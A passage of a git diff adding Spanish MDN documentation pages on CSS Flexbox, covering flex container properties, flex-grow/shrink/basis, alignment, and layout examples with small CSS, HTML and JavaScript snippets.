+ <li>Los ítems se despliegan sobre una fila (la propiedad <code>flex-direction</code> por defecto es <code>row</code>).</li>
+ <li>Los ítems empiezan desde el margen inicial sobre el eje principal.</li>
+ <li>Los ítems no se ajustan en la dimensión principal, pero se pueden contraer.</li>
+ <li>Los ítems se ajustarán para llenar el tamaño del eje cruzado.</li>
+ <li>La propiedad {{cssxref("flex-basis")}} es definida como <code>auto</code>.</li>
+ <li>La propiedad {{cssxref("flex-wrap")}} es definida como <code>nowrap</code>.</li>
+</ul>
+
+<p>El resultado es que todos los ítems se alinearán en una solo fila, usando el tamaño del contenedor como su tamaño en el eje principal. Si hay más ítems de los que caben en el contenedor, estos no pasarán más abajo si no que sobrepasarán el margen. Si hay ítems más altos que otros, todos los ítems serán ajustados en el eje cruzado para alcanzar al mayor.</p>
+
+<p>Se puede ver en el ejercicio en vivo de abajo cómo luce. Intente editar el ítem o añadir ítems adicionales para así probar el comportamiento inicial de flexbox.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/the-flex-container.html", '100%', 480)}} </p>
+
+<h3 id="Cambiar_flex-direction">Cambiar flex-direction</h3>
+
+<p>Al añadir la propiedad {{cssxref("flex-direction")}} en el contenedor flex nos permite cambiar la dirección de cómo los ítems son desplegados. Colocando <code>flex-direction: row-reverse</code> se mantendrá el despliegue a lo largo de la fila, sin embargo el inicio y final quedarán al revés del original.</p>
+
+<p>Si cambiamos <code>flex-direction</code> a <code>column</code> el eje principal se cambiará y los ítems aparecerán en una columna. Colocando <code>column-reverse</code> las líneas de inicio y fin serán nuevamente puestas al revés.</p>
+
+<p>El ejemplo en vivo de abajo tiene <code>flex-direction</code> puesto como <code>row-reverse</code>. Pruebe los otros valores — <code>row</code>, <code>column</code> y <code>column-reverse</code> — para ver qué sucede con el contenido.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}</p>
+
+<h2 id="Contenedores_flex_Multi-línea_con_flex-wrap">Contenedores flex Multi-línea con flex-wrap</h2>
+
+<p>Si bien flexbox es un modelo unidimensional, es posible lograr que nuestros ítems flex sean repartidos en varías líneas. Haciendo esto, se deberá considerar cada línea como un nuevo contenedor flex. Cualquier distribución del espacio solo sucederá dentro de esa línea, sin referenciar las líneas colaterales.</p>
+
+<p>Para lograr repartirse en varias líneas añada la propiedad {{cssxref("flex-wrap")}} con el valor <code>wrap</code>. Cuando los ítems sean demasiados para desplegarlos en una línea, serán repartidos en la línea siguiente. El ejemplo en vivo de abajo contiene ítems que se les ha asignando un ancho, donde el ancho total de los ítems excede al del contenedor flex. Cuando <code>flex-wrap</code> se coloca como <code>wrap</code>, los ítems se repartirán. Al colocarlo como <code>nowrap</code>, el cual es el valor inicial, estos se contraerán para calzar con el contenedor ya que usan los valores iniciales de flexbox que permiten que los ítems se contraigan. Al usar <code>nowrap</code> los ítems podrían salirse del margen si estos no pudieran contraerse, o no contraerse lo suficiente para ser calzados.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-wrap.html", '100%', 400)}}</p>
+
+<h2 id="La_abreviatura_flex-flow">La abreviatura flex-flow</h2>
+
+<p>Se pueden combinar las propiedades <code>flex-direction</code> y <code>flex-wrap</code> en la abreviatura {{cssxref("flex-flow")}} . El primer valor especificado es <code>flex-direction</code> y el segundo valor es <code>flex-wrap</code>.</p>
+
+<p>En el ejemplo en vivo de abajo intente cambiar el primer valor por uno de los valores permitidos para <code>flex-direction</code> - <code>row</code>, <code>row-reverse</code>, <code>column</code> o <code>column-reverse</code>, y cambie también el segundo valor por <code>wrap</code> y <code>nowrap</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}</p>
+
+<h2 id="Propiedades_aplicadas_a_los_ítems_flex">Propiedades aplicadas a los ítems flex</h2>
+
+<p>Para obtener más control sobre los ítems flex podemos apuntarlos directamente. Hacemos esto a través de tres propiedades:</p>
+
+<ul>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+</ul>
+
+<p>Daremos un breve vistazo a estas propiedades en este resumen, y en un próximo artículo ahondaremos sobre su comportamiento.</p>
+
+<p>Antes de darle sentido a estas propiedades debemos considerar el concepto de <strong>espacio disponible</strong>. Lo que hacemos cuando cambiamos el valor de alguna de estas propiedades es cambiar la forma que se distribuye el espacio disponible entre nuestros ítems. Este concepto de espacio disponible es también importante cuando veamos la alineación de ítems.</p>
+
+<p>Si tenemos tres ítems con un ancho de 100 pixeles en un contenedor de 500 pixeles de ancho, entonces el espacio que se necesita para colocar nuestros ítems es de 300 pixeles. Esto deja 200 pixeles de espacio disponible. Si no cambiamos los valores iniciales entonces flexbox colocará ese espacio después del último ítem.</p>
+
+<p><img alt="This flex container has available space after laying out the items." src="https://mdn.mozillademos.org/files/15620/Basics7.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
+<p>Si en cambio quisiéramos que los ítems crecieran para llenar ese espacio, entonces necesitaremos un método para distribuir el espacio sobrante entre los ítems. Es justo lo que harán las propiedades <code>flex</code> que aplicaremos a dichos ítems.</p>
+
+<h3 id="La_propiedad_flex-basis">La propiedad <code>flex-basis</code></h3>
+
+<p>Con <code>flex-basis</code> se define el tamaño de un ítem en términos del espacio que deja como espacio disponible. El valor inicial de esta propiedad es <code>auto</code> — en este caso el navegador revisa si los ítems definen un tamaño. En el ejemplo de arriba, todos los ítems tienen un ancho de 100 pixeles así que este es usado como <code>flex-basis</code>.</p>
+
+<p>Si los ítems no tiene un tamaño entonces el tamaño de su contenido es usado como flex-basis. Y por eso, apenas declarado <code>display: flex</code> en el padre a fin de crear ítems flex, todos estos ítems se ubicaron en una sola fila y tomaron solo el espacio necesario para desplegar su contenido.</p>
+
+<h3 id="La_propiedad_flex-grow">La propiedad <code>flex-grow</code></h3>
+
+<p>Con la propiedad <code>flex-grow</code> definida como un entero positivo, los ítems flex pueden crecer en el eje principal a partir de <code>flex-basis</code>. Esto hará que el ítem se ajuste y tome todo el espacio disponible del eje, o una proporción del espacio disponible si otro ítem también puede crecer.</p>
+
+<p>Si le damos a todos los ítems del ejemplo anterior un valor <code>flex-grow</code> de 1 entonces el espacio disponible en el contenedor flex será compartido igualitariamente entre estos ítems y se ajustarán para llenar el contenedor sobre el eje principal.</p>
+
+<p>Podemos usar flex-grow apropiadamente para distribuir el espacio en proporciones. Si otorgamos al primer ítem un valor <code>flex-grow</code> de 2 y a los otros un valor de 1, entonces 2 partes serán dadas al primer ítem  (100px de 200px en el caso del ejemplo de arriba) y 1 parte para cada uno de los restantes (cada uno con 50px de los 200px en total).</p>
+
+<h3 id="La_propiedad_flex-shrink">La propiedad <code>flex-shrink</code></h3>
+
+<p>Así como la propiedad <code>flex-grow</code> se encarga de añadir espacio sobre el eje principal, la propiedad <code>flex-shrink</code> controla como se contrae. Si no contamos con suficiente espacio en el contenedor para colocar los ítems y <code>flex-shrink</code> posee un valor entero positivo, el ítem puede contraerse a partir de <code>flex-basis</code>. Así como podemos asignar diferentes valores de <code>flex-grow</code> con el fin que un ítem se expanda más rápido que otros — un ítem con un valor más alto de <code>flex-shrink</code> se contraerá más rápido que sus hermanos que poseen valores menores.</p>
+
+<p>El tamaño mínimo del ítem tendrá que ser considerado cuando se determine un valor de contracción que pueda funcionar, esto significa que flex-shrink tiene el potencial de comportarse menos consistentemente que flex-grow . Por lo tanto, haremos una revisión más detallada de cómo este algoritmo trabaja en el artículo Controlling Ratios de los ítems sobre el eje principal.</p>
+
+<div class="note">
+<p>Nótese que los valores de <code>flex-grow</code> y <code>flex-shrink</code> son proporciones. Típicamente si pusiéramos todos los ítems flex: <code>1 1 200px</code> y luego quisiéramos que un ítem creciera al doble, deberíamos ponerlo con flex: <code>2 1 200px</code>. Aunque igualmente podemos colocar flex: <code>10 1 200px</code> y flex: <code>20 1 200px</code> si quisiéramos.</p>
+</div>
+
+<h3 id="Valores_abreviados_para_las_propiedades_flex">Valores abreviados para las propiedades flex</h3>
+
+<p>Difícilmente veremos la propiedades <code>flex-grow</code>, <code>flex-shrink</code> y <code>flex-basis</code> usadas individualmente; si no que han sido combinadas en la abreviación {{cssxref("flex")}} . La abreviación <code>flex</code> permite establecer los tres valores en este orden: <code>flex-grow</code>, <code>flex-shrink</code>, <code>flex-basis</code>.</p>
+
+<p>El ejemplo en vivo de más abajo permite probar los diferentes valores de la abreviación flex; recuerde que el primer valor es <code>flex-grow</code>. Dándole un valor positivo significa que el ítem puede crecer. El segundo es <code>flex-shrink</code> — con un valor positivo los ítems pueden contraerse. El valor final es <code>flex-basis</code>; este es el valor que los ítems usan como valor base para crecer y contraerse.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-properties.html", '100%', 400)}}</p>
+
+<p>Hay además algunas abreviaturas de valores que cubren la mayoría de los casos de uso. Se ven con frecuencia utilizados en tutoriales, y en muchos casos es todo lo que necesitamos usar. Los valores predefinidos son los siguientes:</p>
+
+<ul>
+ <li><code>flex: initial</code></li>
+ <li><code>flex: auto</code></li>
+ <li><code>flex: none</code></li>
+ <li><code>flex: &lt;positive-number&gt;</code></li>
+</ul>
+
+<p>Fijando <code>flex: initial</code> el ítem se restablece con los valores iniciales de Flexbox. Es lo mismo que <code>flex: 0 1 auto</code>. En este caso el valor de <code>flex-grow</code> is 0, así que los ítems no crecerán más de su tamaño <code>flex-basis</code> . El valor <code>flex-shrink</code> es 1, así que los ítems pueden contraerse si es necesario en vez de salirse de los márgenes. El valor de <code>flex-basis</code> es <code>auto</code>. Los ítems pueden definir un tamaño en la dimensión del eje principal, o bien obtener su tamaño por el contenido del los mismos.</p>
+
+<p>Usar <code>flex: auto</code> es lo mismo que usar <code>flex: 1 1 auto</code> , es como con <code>flex:initial</code> pero en este caso los ítems pueden crecer y llenar el contendor así como encoger si se requiere.</p>
+
+<p>Al usar <code>flex: none</code> se crearán ítems flex totalmente inflexibles. Es como escribir <code>flex: 0 0 auto</code>. Los ítems no pueden ni crecer ni encoger pero serán colocados usando flexbox con <code>flex-basis</code> en <code>auto</code>.</p>
+
+<p>Una abreviación que es común en tutoriales es <code>flex: 1</code> o <code>flex: 2</code>  y más. Es como usar <code>flex: 1 1 0</code>. Los ítems pueden crecer o encoger con un <code>flex-basis</code> de 0.</p>
+
+<p>Pruebe estas abreviaciones de valores en el ejemplo en vivo de abajo.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-shorthands.html", '100%', 480)}}</p>
+
+<h2 id="Alineación_justificación_y_distribución_del_espacio_libre_entre_ítems">Alineación, justificación y distribución del espacio libre entre ítems</h2>
+
+<p>Una característica clave de flexbox es la capacidad de alinear y justificar ítems sobre los ejes principal y cruzado, y distribuir el espacio entre los ítems flex.</p>
+
+<h3 id="align-items"><code>align-items</code></h3>
+
+<p>La propiedad {{cssxref("align-items")}} alineará los ítems sobre el eje cruzado.</p>
+
+<p>El valor inicial para esta propiedad es <code>stretch</code> razón por la cual los ítems se ajustan por defecto a la altura de aquel más alto. En efecto se ajustan para llenar el contenedor flex — el ítem más alto define la altura de este.</p>
+
+<p>En cambio definimos <code>align-items</code> como <code>flex-start</code> para que los ítems se alineen al comienzo del contenedor flex, <code>flex-end</code> para alinearlos al final, o <code>center</code> para alinearlos al centro. Intente esto en el ejemplo en vivo — He definido en el contenedor flex una altura para que se aprecie que se pueden mover libremente dentro del contenedor. Vea lo que sucede si se coloca el valor align-items como:</p>
+
+<ul>
+ <li><code>stretch</code></li>
+ <li><code>flex-start</code></li>
+ <li><code>flex-end</code></li>
+ <li><code>center</code></li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/align-items.html", '100%', 520)}}</p>
+
+<h3 id="justify-content"><code>justify-content</code></h3>
+
+<p>La propiedad {{cssxref("justify-content")}} es usada para alinear los ítems en el eje principal, cuyo <code>flex-direction</code> define la dirección del flujo. El valor inicial es <code>flex-start</code> que alineará los ítems al inicio del margen del contenedor, pero también se podría definir como <code>flex-end</code> para alinearlos al final, o <code>center</code> para alinearlos al centro.</p>
+
+<p>También podemos usar <code>space-between</code> para tomar todo el espacio sobrante después de que los ítems hayan sido colocados, y distribuir de forma pareja los ítems para que haya un espacio equitativo entre cada ítem. O bien, usamos el valor <code>space-around</code> para crear un espacio equitativo a la derecha e izquierda de cada ítem.</p>
+
+<p>Pruebe con los siguientes valores de<code>justify-content</code> en el ejemplo en vivo:</p>
+
+<ul>
+ <li><code>space-evenly</code></li>
+ <li><code>flex-start</code></li>
+ <li><code>flex-end</code></li>
+ <li><code>center</code></li>
+ <li><code>space-around</code></li>
+ <li><code>space-between</code></li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/justify-content.html", '100%', 380)}}</p>
+
+<p>En un próximo artículo ahondaremos sobre estas propiedades, con el fin de obtener mejor entendimiento de cómo funcionan. Sin embargo, estos sencillos ejemplos serán útiles para la mayoría de los casos de uso.</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Al final de este artículo usted debería tener un entendimiento de las características básicas de Flexbox. En el próximo artículo veremos cómo esta especificación encaja con las otras partes de CSS.</p>
diff --git a/files/es/web/css/css_flexible_box_layout/index.html b/files/es/web/css/css_flexible_box_layout/index.html
new file mode 100644
index 0000000000..b39db24d68
--- /dev/null
+++ b/files/es/web/css/css_flexible_box_layout/index.html
@@ -0,0 +1,118 @@
+---
+title: Diseño de caja flexible CSS
+slug: Web/CSS/CSS_Flexible_Box_Layout
+tags:
+  - CSS
+  - CSS Flexible
+  - flexbox
+translation_of: Web/CSS/CSS_Flexible_Box_Layout
+---
+<p>{{CSSRef}}</p>
+
+<p>El diseño<strong> CSS Flexbox</strong> es un módulo de CSS que define un modelo de caja, optimizado para el diseño de interfaces de usuario. En el diseño flex, los nodos hijo se pueden distribuir en dirección vertical u horizontal y se pueden "flexibilizar" sus tamaños, bien sea rellenando el espacio disponible o encogiéndose para evitar salirse del contorno del nodo padre. Se puede manipular fácilmente tanto la alineación horizontal como la vertical, de los nodos hijo. La anidación de estas cajas (horizontal dentro de vertical o vertical dentro de horizontal) se puede usar para construir diseños en dos dimensiones.</p>
+
+<h2 id="Ejemplo_Básico">Ejemplo Básico</h2>
+
+<p>En el siguiente ejemplo, se ha definido un contenedor como <code>display: flex</code>, lo que significa que los tres elementos hijo se convierten en elementos flexibles. <span>El valor de <code>justify-content</code> se ha establecido en <code>space-between</code> para espaciar los elementos de manera uniforme en el eje principal.</span> <span>Se ha colocado una cantidad igual de espacio entre cada elemento, con los elementos izquierdo y derecho alineados con los bordes del contenedor flexible.</span> <span>También puede ver que los elementos se estiran en el eje transversal, debido a que el valor predeterminado de </span><code>align-items</code><span> es <code>stretch</code>.</span> <span>Los elementos se extienden hasta la altura del contenedor flexible, por lo que cada uno de ellos tiene tanta altura como el elemento más alto.</span></p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Propiedades_CSS">Propiedades CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h3 id="Propiedades_de_alineación">Propiedades de alineación</h3>
+
+<p>Las propiedades <code>align-content</code>, <code>align-self</code>, <code>align-items</code> y <code>justify-content</code> aparecieron inicialmente en la especificación de Flexbox, pero ahora están definidas en Alineación de cuadro y la especificación de Flexbox las refiere a la Especificación de alineación de cuadro para definiciones actualizadas. Las propiedades de alineación adicionales también se definen en Alineación de cuadro.</p>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("place-content")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="Entradas_del_glosario">Entradas del glosario</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Glossary/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Glossary/Flex_Container">Flex Container</a></li>
+ <li><a href="/en-US/docs/Glossary/Flex_Item">Flex Item</a></li>
+ <li><a href="/en-US/docs/Glossary/Main_Axis">Main Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Cross_Axis">Cross Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Flex">Flex</a></li>
+</ul>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Conceptos básicos de Flexbox</a></dt>
+ <dd>Una visión general de las características de flexbox</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Relación de flexbox con otros métodos de diseño.</a></dt>
+ <dd>Cómo flexbox se relaciona con otros métodos de diseño y otras especificaciones de CSS</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Alinear elementos en un contenedor flexible</a></dt>
+ <dd>Cómo funcionan las propiedades de Alineación de cuadro con flexbox.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordenando elementos flex</a></dt>
+ <dd>Explicando las diferentes formas de cambiar el orden y la dirección de los elementos, y cubriendo los problemas potenciales al hacerlo.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Control de proporción de elementos flex a lo largo del eje principal</a></dt>
+ <dd>Este artículo explica las propiedades de flex-grow, flex-shrink y flex-basis.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Dominar el envoltorio de elementos flex</a></dt>
+ <dd>Cómo crear contenedores flex con múltiples líneas y controlar la visualización de los elementos en esas líneas.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">Casos de uso típicos de flexbox</a></dt>
+ <dd>Patrones de diseño comunes que son los típicos casos de uso de flexbox.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">Compatibilidad con versiones anteriores de Flexbox</a></dt>
+ <dd>Estado del navegador de flexbox, problemas de interoperabilidad y compatibilidad con navegadores antiguos y versiones de la especificación</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<dl>
+ <dt><a href="https://github.com/philipwalton/flexbugs">Flexbugs</a></dt>
+ <dd>una lista comisariada por la comunidad de errores y soluciones del navegador Flexbox</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mixins">Combinaciones (Mixins) Flexbox para varios navegadores</a></dt>
+ <dd>Este artículo proporciona un conjunto de combinaciones(mixins)para aquellos que desean crear experiencias de flexbox en varios navegadores que incluso funcionan en navegadores antiguos que no admiten la sintaxis moderna de flexbox.</dd>
+</dl>
diff --git a/files/es/web/css/css_flexible_box_layout/usando_flexbox_para_componer_aplicaciones_web/index.html b/files/es/web/css/css_flexible_box_layout/usando_flexbox_para_componer_aplicaciones_web/index.html
new file mode 100644
index 0000000000..95804a5da2
--- /dev/null
+++ b/files/es/web/css/css_flexible_box_layout/usando_flexbox_para_componer_aplicaciones_web/index.html
@@ -0,0 +1,190 @@
+---
+title: Usando flexbox para componer aplicaciones web
+slug: Web/CSS/CSS_Flexible_Box_Layout/Usando_flexbox_para_componer_aplicaciones_web
+tags:
+  - Avanzado
+  - CSS
+  - Cajas Flexibles CSS
+  - Ejemplo
+  - Guía
+  - Web
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox
+---
+<p>{{CSSRef}}</p>
+
+<p>Usar <a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS">flexbox</a> puede ayudarte a diseñar atractivas composiciones en aplicaciones web que escalen mejor de escritorio a móvil. Pon fin a los elementos flotantes {{HTMLElement("div")}}, <a href="/en-US/docs/Web/CSS/position#Absolute_positioning">el posicionamiento absoluto</a>, y los <em>hacks</em> de JavaScript, y comienza a construir composiciones fluidas en horizontal y vertical en apenas unas líneas de <a href="/es/docs/Web/CSS">CSS</a>. Algunos ejemplos básicos de casos de uso:</p>
+
+<ul>
+ <li>Quieres centrar un elemento en la mitad de una página</li>
+ <li>Quieres un conjunto de contenedores que fluyan verticalmente, uno tras otro</li>
+ <li>Quieres crear una fila de botones u otros elementos que colapse verticalmente en tamaños menores de pantalla</li>
+</ul>
+
+<p>Este artículo sólo aborda el uso de <em>flexbox</em> con navegadores que soportan la implementación moderna y sin prefijos del estándar. Para información sobre prefijos de proveedores para navegadores más antiguos, por favor lee <a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS">la guía más general para usar cajas flexibles de CSS</a>.</p>
+
+<h2 id="Conceptos_básicos">Conceptos básicos</h2>
+
+<p>Con flexbox puedes hacer que los elementos dentro de cualquier {{HTMLElement("div")}} fluyan estableciendo la propiedad {{cssxref("display")}} como <code>flex</code> y luego dando a la propiedad {{cssxref("flex-flow")}} el valor <code>row</code>, si deseas que los elementos fluyan horizontalmente, o el valor <code>column</code>, si quieres que lo hagan verticalmente. Si estás usando un flexbox horizontal y deseas que tus contenidos queden envueltos verticalmente, especifica además el valor <code>wrap</code>.</p>
+
+<p>Después, para cada elemento que desees sea parte del flujo de cajas, establece la propiedad {{cssxref("flex")}}. Generalmente querrás utilizar uno de los tres siguientes valores:</p>
+
+<ul>
+ <li>Si quieres un elemento que sólo ocupa su ancho asignado, como un botón, utiliza <code>flex: none</code> que se expande a <code>0 0 auto</code>.</li>
+ <li>Si deseas explícitamente dimensionar un elemento, usa <code>flex: 0 0 <em>tamaño</em></code>. Por ejemplo: <code>flex 0 0 60px</code>.</li>
+ <li>Si necesitas un elemento que se expanda para rellenar el espacio disponible, compartiendo el espacio igualmente si hay múltiples elementos de este tipo dentro del flujo, utiliza <code>flex: auto</code>. Se expande a <code>1 1 auto</code>.</li>
+</ul>
+
+<p>Por supuesto, hay otras posibilidades, pero estas deberían cubrir los casos de uso básicos. Veamos cómo se aplica esto en algunos ejemplos.</p>
+
+<h2 id="Centrando_un_elemento_en_una_página">Centrando un elemento en una página</h2>
+
+<p>Para este caso, el método más sencillo es crear dos cajas flexibles, una dentro de otra. Cada flexbox tendrá tres elementos: dos de ellos conteniendo el elemento centrado y después el propio elemento centrado.</p>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css;">.vertical-box {
+  display: flex;
+  height: 400px;
+  width: 400px;
+  flex-flow: column;
+}
+.horizontal-box {
+  display: flex;
+  flex-flow: row;
+}
+.spacer {
+  flex: auto;
+  background-color: black;
+}
+.centered-element {
+  flex: none;
+  background-color: white;
+}
+</pre>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html;">&lt;div class="vertical-box"&gt;
+  &lt;div class="spacer"&gt;&lt;/div&gt;
+  &lt;div class="centered-element horizontal-box"&gt;
+    &lt;div class="spacer"&gt;&lt;/div&gt;
+    &lt;div class="centered-element"&gt;Centered content&lt;/div&gt;
+     &lt;div class="spacer"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="spacer"&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Centering_an_element_inside_a_page', 500, 500) }}</p>
+
+<h2 id="Haciendo_fluir_verticalmente_un_conjunto_de_contenedores">Haciendo fluir verticalmente un conjunto de contenedores</h2>
+
+<p>Imagina que tienes la composición de una página con una sección de cabecera, una de contenidos y un pie. La cabecera y el pie deberían tener un tamaño fijo, pero la sección de contenidos se debería redimensionar según el espacio disponible. Esto puede lograrse estableciendo la propiedad {{cssxref("flex")}} del contenido como <code>auto</code> y la misma propiedad {{cssxref("flex")}} de la cabecera y el pie como <code>none</code>.</p>
+
+<h3 id="Contenido_CSS_2">Contenido CSS</h3>
+
+<pre class="brush: css;highlight:[8,14,18]">.vertical-box {
+  display: flex;
+  height: 400px;
+  width: 400px;
+  flex-flow: column;
+}
+.fixed-size {
+  flex: none;
+  height: 30px;
+  background-color: black;
+  text-align: center;
+}
+.flexible-size {
+  flex: auto;
+  background-color: white;
+}
+</pre>
+
+<h3 id="Contenido_HTML_2">Contenido HTML</h3>
+
+<pre class="brush: html;">&lt;div id="document" class="vertical-box"&gt;
+  &lt;div class="fixed-size"&gt;&lt;button id="increase-size"&gt;Increase container size&lt;/button&gt;&lt;/div&gt;
+  &lt;div id="flexible-content" class="flexible-size"&gt;&lt;/div&gt;
+  &lt;div class="fixed-size"&gt;&lt;button id="decrease-size"&gt;Decrease container size&lt;/button&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_JavaScript">Contenido JavaScript</h3>
+
+<pre class="brush: js;">var height = 400;
+document.getElementById('increase-size').onclick=function() {
+  height += 10;
+  if (height &gt; 500) height = 500;
+  document.getElementById('document').style.height = (height + "px");
+}
+
+document.getElementById('decrease-size').onclick=function() {
+  height -= 10;
+  if (height &lt; 300) height = 300;
+  document.getElementById('document').style.height = (height + "px");
+}</pre>
+
+<h3 id="Resultado_2">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Flowing_a_set_of_containers_vertically', 500, 500) }}</p>
+
+<p>Este ejemplo se ha creado para que clicar en el encabezamiento incremente el tamaño y clicar en el pie lo reduzca. Observa cómo el contenido se redimensiona automática y adecuadamente, mientras las dimensiones del encabezamiento y el pie se mantienen constantes.</p>
+
+<h2 id="Creando_un_contenedor_que_colapse_horizontalmente">Creando un contenedor que colapse horizontalmente</h2>
+
+<p>En algunos casos podrías querer componer horizontalmente un conjunto de información donde el tamaño de pantalla lo permita, pero colapsar los contenidos horizontalmente donde no. Esto es bastate sencillo con flexbox. Puedes conseguirlo añadiendo a la propiedad {{cssxref("flex-flow")}} el valor <code>wrap</code>.</p>
+
+<h3 id="Contenido_CSS_3">Contenido CSS</h3>
+
+<pre class="brush: css;highlight:[4]">.horizontal-container {
+  display: flex;
+  width: 300px;
+  flex-flow: row wrap;
+}
+.fixed-size {
+  flex: none;
+  width: 100px;
+  background-color: black;
+  color: white;
+  text-align: center;
+}
+</pre>
+
+<h3 id="Contenido_HTML_3">Contenido HTML</h3>
+
+<pre class="brush: html;">&lt;div id="container" class="horizontal-container"&gt;
+  &lt;div class="fixed-size"&gt;Element 1&lt;/div&gt;
+  &lt;div class="fixed-size"&gt;Element 2&lt;/div&gt;
+  &lt;div class="fixed-size"&gt;Element 3&lt;/div&gt;
+&lt;/div&gt;&lt;button id="increase-size"&gt;Increase container size&lt;/button&gt;&lt;button id="decrease-size"&gt;Decrease container size&lt;/button&gt;
+</pre>
+
+<h3 id="Contenido_JavaScript_2">Contenido JavaScript</h3>
+
+<pre class="brush: js;">var width = 300;
+
+document.getElementById('increase-size').onclick=function() {
+  width += 100;
+  if (width &gt; 300) width = 300;
+  document.getElementById('container').style.width = (width + "px");
+}
+
+document.getElementById('decrease-size').onclick=function() {
+  width -= 100;
+  if (width &lt; 100) width = 100;
+  document.getElementById('container').style.width = (width + "px");
+}
+</pre>
+
+<h3 id="Resultado_3">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Creating_a_collapsing_horizontal_container', 500, 200) }}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS">Usando cajas flexibles CSS</a></li>
+</ul>
diff --git a/files/es/web/css/css_flexible_box_layout/usando_las_cajas_flexibles_css/index.html b/files/es/web/css/css_flexible_box_layout/usando_las_cajas_flexibles_css/index.html
new file mode 100644
index 0000000000..7046347011
--- /dev/null
+++ b/files/es/web/css/css_flexible_box_layout/usando_las_cajas_flexibles_css/index.html
@@ -0,0 +1,375 @@
+---
+title: Usando las cajas flexibles CSS
+slug: Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
